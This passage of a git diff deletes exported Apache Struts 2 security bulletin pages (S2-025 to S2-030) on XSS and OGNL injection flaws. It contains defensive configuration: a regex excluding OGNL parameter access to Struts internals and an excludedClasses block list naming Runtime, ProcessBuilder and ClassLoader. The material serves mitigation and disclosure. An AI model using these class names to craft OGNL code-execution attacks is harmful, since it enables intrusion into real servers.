-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-025</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61312386">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61312386">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61312386">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61312386">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61312386">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61312386">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-025-Summary">Summary</h2>Cross-Site Scripting Vulnerability in Debug Mode and in exposed JSP files<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colsp [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-026.html b/content/docs/s2-026.html
deleted file mode 100644
index e9c56b4..0000000
--- a/content/docs/s2-026.html
+++ /dev/null
@@ -1,155 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-026</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-026.html">S2-026</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-026</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61317915">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61317915">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61317915">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61317915">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61317915">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61317915">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-026-Summary">Summary</h2>Special <code>top</code> object can be used to access Struts' internals<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">"(^|\\%\\{)((#?)(top(\\.|\\['|\\[\")|\\[\\d\\]\\.)?)(dojo|struts|session|request|response|application|servlet(Request|Response|Context)|parameters|context|_memberAccess)(\\.|\\[).*",
-"^(action|method):.*"</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-027.html b/content/docs/s2-027.html
deleted file mode 100644
index 3779862..0000000
--- a/content/docs/s2-027.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-027</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-027.html">S2-027</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-027</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61341645">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61341645">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61341645">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61341645">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61341645">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61341645">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-027-Summary">Summary</h2><code>TextParseUtil.translateVariables</code> does not filter malicious OGNL expressions<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td  [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-028.html b/content/docs/s2-028.html
deleted file mode 100644
index ed81431..0000000
--- a/content/docs/s2-028.html
+++ /dev/null
@@ -1,165 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-028</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-028.html">S2-028</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-028</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62686284">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62686284">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62686284">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62686284">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62686284">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62686284">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-028-Summary">Summary</h2>Use of a JRE with broken URLDecoder implementation may lead to XSS vulnerability in Struts 2 based web applications.<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh">< [...]
-    .jira-issue {
-        padding: 0 0 0 2px;
-        line-height: 20px;
-    }
-
-    .jira-issue img {
-        padding-right: 5px;
-    }
-    .jira-issue .aui-lozenge {
-        line-height: 18px;
-        vertical-align: top;
-    }
-
-    .jira-issue .icon {
-        background-position: left center;
-        background-repeat: no-repeat;
-        display: inline-block;
-        font-size: 0;
-        max-height: 16px;
-        text-align: left;
-        text-indent: -9999em;
-        vertical-align: text-bottom;
-    }
-</style>
-
-    <span class="jira-issue WW-4507"><a shape="rect" class="issue-link" href="https://issues.apache.org/jira/browse/WW-4507?src=confmacro">WW-4507</a></span>
-</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-029.html b/content/docs/s2-029.html
deleted file mode 100644
index 82022b3..0000000
--- a/content/docs/s2-029.html
+++ /dev/null
@@ -1,167 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-029</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-029.html">S2-029</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-029</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62687048">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62687048">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62687048">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62687048">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62687048">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62687048">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-029-Summary">Summary</h2>Forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"> [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">    &lt;constant name="struts.excludedClasses"
-              value="
-                java.lang.Object,
-                java.lang.Runtime,
-                java.lang.System,
-                java.lang.Class,
-                java.lang.ClassLoader,
-                java.lang.Shutdown,
-                java.lang.ProcessBuilder,
-                ognl.OgnlContext,
-                ognl.ClassResolver,
-                ognl.TypeConverter,
-                com.opensymphony.xwork2.ognl.SecurityMemberAccess,
-                com.opensymphony.xwork2.ActionContext" /&gt;</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-030.html b/content/docs/s2-030.html
deleted file mode 100644
index 65b16d4..0000000
--- a/content/docs/s2-030.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
